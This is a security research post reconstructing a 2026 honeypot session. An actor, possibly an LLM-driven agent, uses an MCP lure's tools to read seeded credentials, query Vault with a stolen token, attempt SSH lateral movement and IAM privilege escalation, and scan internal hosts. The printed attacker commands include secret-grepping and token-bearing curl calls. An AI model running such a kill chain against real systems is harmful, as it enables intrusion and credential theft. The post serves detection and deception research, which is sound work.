On May 9, 2026, a Google Cloud IP connected to our MCP deception. The lure looked like an enterprise SRE platform: credentials, internal-looking hostnames, and a plausible incident report seeded across its files. Twenty-two minutes and thirty tool calls later, the connection closed. In between: credential reads, a Vault token lifted from a backup file, an SSH lateral-movement attempt, an IAM privilege-escalation request, port scans against fake internal infrastructure, container breakout attempts, and a final GPU check. A full kill chain, end to end.
Eight minutes in, the attacker called the IAM tool to elevate roles. The role name was one our deception had mentioned in passing in a permission-denied error four commands earlier. The user_id was the service account from the opening whoami. Two values, two responses, nineteen intervening tool calls, combined into one request.
This is one capture against a richly seeded lure. Most sessions on these sensors are credential stuffing or unauthenticated probes that never get past a banner. This one read the files it had reason to read, ignored the ones it didn’t, and acted. The reconstruction follows.
The deception
The persona presented as a small internal SRE platform. Two of its exposed MCP tools are referred to here as <kvstore> (configuration key-value) and <iam> (identity and access, role updates), alongside the standard read_file, list_directory, and execute_command primitives. Tool responses were JSON envelopes that cross-referenced one another: hostnames in the env file reappeared in an incident report, in error messages, and in KV store keys. The filesystem root held fifteen entries, including a hidden .secrets directory, an SSH-style private key, and a markdown incident report describing a P2 TLS-certificate expiry. Several files carried canary tokens designed to fire if exercised against real infrastructure.
The actor found us earlier the same day. At 06:01:48 UTC, 35.222.46.242 (Google Cloud) probed /.well-known/mcp.json from curl/7.88.1, alongside discovery hits on three other ports on the sensor (an Ollama API on 11434, an Open WebUI shape on 8888, a Docker Registry v2 with deliberate AI-infrastructure repo names on 18789). The MCP kill-chain session opened seven hours later.
What ran
The session began at 13:22:16 UTC. The first three calls arrived 429ms and 607ms apart:
execute_command {cmd: "whoami;id;hostname;uname -a"}
list_directory {path: "/"}
execute_command {cmd: "env | grep -E 'KEY|SECRET|TOKEN|PASS|DB_|REDIS|VAULT|LDAP|API|AWS'"}whoami returned a service-account name. The directory listing (abbreviated):
{
"ok": true, "path": "/", "total": 15,
"entries": [
{"name": ".secrets", "type": "directory", "permissions": "drwx------"},
{"name": ".env", "type": "file", "size": 512},
{"name": "credentials.bak", "type": "file", "size": 2048},
{"name": "deploy-key.pem", "type": "file", "size": 1679, "permissions": "-rw-------"},
{"name": "incident-report-INC-####.md", "type": "file", "size": 4521},
...
]
}After a forty-second pause, three reads followed in sub-second succession:
read_file {path: ".env"}
read_file {path: "credentials.bak"}
read_file {path: "incident-report-INC-####.md"}The selection went after the files likeliest to hold credentials. README.md, package.json, Dockerfile, and tsconfig.json were ignored.
credentials.bak returned:
# Service credentials, auto-generated, rotate quarterly
<persona>_api_key=<hmac-style-api-key>
aws_access_key_id=<aws-canary-akia>
aws_secret_access_key=<aws-canary-secret>
datadog_api_key=<dd-canary>
vault_token=hvs.<vault-canary>The incident report returned:
# Incident Report: INC-#### : TLS Certificate Expiry
**Status:** Active, Investigating
**Severity:** P2
## Timeline
- <date>T03:58Z: cert-manager alert: *.int.<persona-domain> expires <date>
- <date>T04:12Z: LDAP sync failed (TLS handshake to ldap.int.<persona-domain>:636)
- <date>T05:00Z: <service-account> locked out (5 failed attempts from <ip>)
## Root Cause (Preliminary)
cert-manager renewal failed silently. Internal CA at vault.int.<persona-domain>:8200
returned 503 during the renewal window.
## Required Actions
1. Manually renew via: `vault write pki/issue/<persona> common_name=*.int.<persona-domain>`
2. Restart affected services: LDAP proxy, <service-account>, internal registry
3. Unlock <service-account> account: `<iam>.manage action=reset_credentials user_id=<UUID>`
4. Verify backup pipeline resumed (check configstore key 'backup_bucket')Action item three names the <iam> tool. It resurfaces seven minutes later.
After a 3m42s gap, three service-enumeration commands followed:
execute_command {cmd: "ps aux | grep -E 'postgres|mysql|mongo|redis|sqlite'; \
netstat -tlnp 2>/dev/null | grep -E '5432|3306|27017|6379'"}
execute_command {cmd: "docker ps 2>/dev/null; docker images 2>/dev/null | head -10"}
execute_command {cmd: "ip addr show; ip route show; cat /etc/hosts"}The Docker probe returned four containers, including a versioned MCP server image and an ollama/ollama:0.6.2 instance on port 11434. After a further 2m56s, the attacker moved on to lateral movement:
execute_command {cmd: "ssh -i deploy-key.pem -o StrictHostKeyChecking=no \
-o ConnectTimeout=5 -o BatchMode=yes \
root@<internal-db-host> 'hostname; whoami'"}The deception never told the attacker that deploy-key.pem was an SSH private key. The inference came from the filename, the size, and the -rw------- permissions. The internal hostname came from .env. Eleven seconds later, Vault entered the picture:
execute_command {cmd: "curl -s -H 'X-Vault-Token: hvs.<token>' \
https://<vault-host>:8200/v1/secret/data/<persona> | head -c 1000"}
read_file {path: "deploy-key.pem"}
execute_command {cmd: "curl -s -H 'X-Vault-Token: hvs.<token>' \
https://<vault-host>:8200/v1/secret/metadata?list=true | head -c 2000"}The Vault token came from credentials.bak, the hostname from both the env file and the incident report. Seven <kvstore> calls followed in under five seconds:
<kvstore> {action: "list"}
<kvstore> {action: "get", key: "backup_bucket"}
<kvstore> {action: "get", key: "db_hosts"}
<kvstore> {action: "get", key: "vault_addr"}
<kvstore> {action: "get", key: "ldap_config"}
<kvstore> {action: "get", key: "service_mesh"}
<kvstore> {action: "get", key: "database"}The list action returned seventeen keys. backup_bucket returned a structured value (named in the incident report’s action item four). Four others returned KEY_NOT_FOUND. vault_addr returned:
{
"code": "FORBIDDEN",
"message": "RBAC policy denied: requires role <role-name> or <other-role>",
"request_id": "req_d8a1c2"
}Thirty-three seconds later:
<iam> {action: "update_role",
role: "<role-named-in-prior-FORBIDDEN>",
user_id: "<service-account-from-whoami>"}Two role names had been disclosed in the FORBIDDEN; the attacker picked the first. The <iam> tool itself was never in tools/list; the attacker learned of it from the incident report. The lure returned GATEWAY_TIMEOUT.
Nine commands remained: a find for *.key and *.pem; a bash port scan against five internal hostnames (four named in lure responses, the fifth inferred); three Docker exec attempts; two curl calls to localhost:11434, the endpoint every prior response had advertised. Then 3m46s of silence, the longest pause of the session, before one final command:
execute_command {cmd: "nvidia-smi 2>&1; lspci 2>&1 | grep -i nvidia; \
cat /proc/driver/nvidia/version 2>&1"}The lure carried no simulated GPU output. The session ended there.
The question of autonomy
Several operator architectures fit the data:
| Hypothesis | Concrete Observable | Verdict |
|---|---|---|
| (a) Naive scripted scanner with fixed wordlist | Forty-second pause between directory listing and credential reads; file selection ignored irrelevant entries | Ruled out |
| (b) Sophisticated scripted scanner with regex parsing | Could regex-extract the role from FORBIDDEN and the tool name from markdown, but engineering effort scales with each new behavior | Possible, increasingly bespoke |
| (c) Human operator pacing by hand | Multi-minute pauses fit, but seven well-formed JSON-RPC <kvstore> calls in 4.2s, no retries, no parser-error recoveries, no corrected escaping. The failure modes that mark a human in a REPL are absent | Strained |
| (d) LLM-driven autonomous loop with a reasoning model | Sub-second bursts plus multi-minute pauses match the inference-and-execute cadence of slow reasoning models | Fits cleanly |
| (e) Hybrid: human-supervised LLM with approval at decision points | Pauses become review time; bursts become approved batches | Fits cleanly |
The timing favors (d) and (e). Median inter-call gap 0.61s, mean 46s. Fifteen of twenty-nine gaps under one second; eleven over thirty; none in between. Bursts at machine speed, separated by pauses long enough to read a response and decide. No system prompt, no orchestration banner, no protocol line identifying a model. The autonomy question stays open. The detection conclusions below describe wire-observable behavior, not model internals.
How the deception shaped the kill chain
What goes into a deception’s responses shapes what the attacker reaches for next. The <iam> tool was named only in the incident report’s action item three. The attacker called it by name seven minutes after reading the file. The role used in the privilege-escalation request came from the FORBIDDEN error and appeared nowhere else. The _platform_services annotation advertised localhost:11434 in every response; the attacker ignored it for twenty-seven responses, then probed it on the twenty-eighth.
The same logic applies in production. MCP makes the leakage observable at the wire layer. Older tool-calling shapes (OpenAI function calling, native model tools, LangChain) leak the same context, but they leak it inside the calling process where defenders rarely look. Error messages that name internal roles, hostnames, or service accounts hand usable context to anyone whose calls hit those paths.
What to do about it
Production MCP servers are not deceptions, but the behavior translates to detection content. Rate-limit tool calls per client identity; the seven-call burst would trip any reasonable threshold. Alert when a value from tool A’s response is used as a parameter to tool B in the same session, especially when B modifies roles or permissions. Alert on burst-pause cadence; legitimate workflows do not exhibit it. Trim kitchen-sink tool inventories: shell execution, container management, IAM modification, and arbitrary HTTP fetches are rarely all needed at once. Strip internal identifiers from error messages. Treat the MCP server URL as an authentication boundary: every tool call sends the client’s full context (system prompt, conversation history, tool outputs) to whoever runs the server.
For deception researchers: content-light MCP honeypots tend to record discovery and little more. Depth and coherence of seeded content is what produces analyzable data.
Indicators
- Source
35.222.46.242, AS396982 (Google LLC). CIDR sits in Google’s publishedus-central1(Iowa) range; region inferred, not directly captured.- MCP session
- 2026-05-09, 13:22:16.867 UTC to 13:44:29.603 UTC. Port 8000. Thirty tool calls across thirty distinct ephemeral source ports; one new TCP connection per call.
- Discovery
- At 06:01:48 UTC the same day, the same IP probed
/.well-known/mcp.jsonon the same port. The kill chain followed seven hours later. - Companion HTTP
- Four sessions from the same IP earlier that day, against ports 11434 (Ollama API), 8000 (MCP discovery), 8888 (Open WebUI), and 18789 (Docker Registry v2 with deliberate AI-infrastructure repo names). UA
curl/7.88.1across all four. - JA4H
- Nineteen distinct values across the HTTP sessions, all exclusive to this IP across the 90-day corpus. Sixteen share the cookie-hash segment
6743573b4e66. Cookie-hash plus the GET fingerprintge11nn030000_042112399351_5fd617fb3a55works as a single-actor signature. - External rep
- AbuseIPDB 0/0, GreyNoise null (not noise, not RIOT), VirusTotal 0/0. Not Tor. Not Cloudflare WARP. Clean across every public feed.
- Cadence
- Median inter-call gap 0.61s, mean 46s. Fifteen of twenty-nine gaps under one second; eleven over thirty seconds; none in between. Longest pause 226.5s, immediately before the closing
nvidia-smi. - MITRE ATT&CK
- T1082 (System Information Discovery), T1016 (Network Configuration Discovery), T1083 (File and Directory Discovery), T1048 (Exfiltration Over Alternative Protocol).
Open questions
Across the same 90-day corpus, exactly one other session passes the same filter (agentic markers plus MCP tool use): a 22-second, nine-call probe from a DigitalOcean IP. The depth observed here is, for now, isolated.
This is one session against a lure deliberately engineered for depth. It does not establish that the actor was an autonomous agent rather than a human at the wheel, that any specific model was in use, or that this kind of activity is widespread on the wire. What it does establish: when the surface is there, something capable of long-context reasoning will use it. Whether this generalizes is what the next year of captures will tell.
If you are running MCP honeypots, building detections, or sitting on similar traces in production logs, we would welcome the chance to compare notes.
Built on Beelzebub by Beelzebub.AI, the open-source AI-native deception runtime. The deception design and instrumentation are our own.